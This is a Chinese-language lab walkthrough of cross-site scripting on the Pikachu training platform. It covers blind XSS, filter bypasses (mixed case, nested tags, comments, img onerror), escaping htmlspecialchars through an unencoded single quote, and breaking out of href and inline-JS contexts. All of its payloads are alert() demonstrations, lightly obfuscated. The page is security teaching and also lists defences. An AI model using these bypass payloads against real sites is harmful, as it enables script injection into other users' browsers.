XSS盲打,绕过,htmlspecialchar以及href js输出点
一,盲打
我们先打开pikachu界面
我们随便输入一个字符
我们可以得到 我们输入的结果不会被输出到前端 而是被输入进后端了 管理员可看
我们使用
<1script>alert(“lalala”)<1/script>
接下来我们登录一下管理员 进入后台看一下
登陆后我们就被XSS 这就是盲打
二,绕过
前端限制绕过,直接抓包重放,或者修改html前端代码:
1,大小写:
<1/SCRIPT>aLeRT(111)<1/sCrIpt>
2,拼凑:
<scri<1script>pt>alert(111)</scri<1/script>pt>
3,使用注释干扰:
<1scri<1!–test–>pt>alert(111)</1sc<1!–test–>ript>
当过滤了script标签时
<img src+x οnerrοr=“alert(‘xss’)”>将alert(‘xss’)进行URL编码
这种方法不可行
想要使用必须对其编码 让浏览器可识别 并当作一个方法去执行
我们先输入一些特殊字符 来进行测试过滤了哪些字符
源码中显示script标签被过滤了 所以我们就可以采用大小写混写方式试试看
成功XSS
还可以使用
<1img src=x οnerrοr=“alert(111)”/>
成功XSS
三,htmlspecialchars()函数
先测试特殊字符 审查元素
看到htmlspecialchars对我们输入的字符进行了实体编码
我们得到 单引号 并没有被实体编码 就可以使用
q ’ οnclick=‘alert(111)’
成功XSS
四、href与js
XSS常见防范措施
总的原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
转义:所以输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义
我们来测试一下
javascript:alert(111)
JS:随便输入
看到它把我们输入的内容放到了JS中去
进行逻辑判断 然后输出
我们再输入tmac
我们复制源码中的JS构造闭合
<1a href=‘xss’ οnclick=‘alert(1111)’ '>
<1script>
$ms=‘xss’<1/script><1script>alert(‘xss’)<1/script>’;
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$(’#fromjs’).text(‘无论如何不要放弃心中所爱…’)
}
}
<1/script>
所构造的闭合:
xss’</1script><1script>alert(‘xss’)</1script>’
成功XSS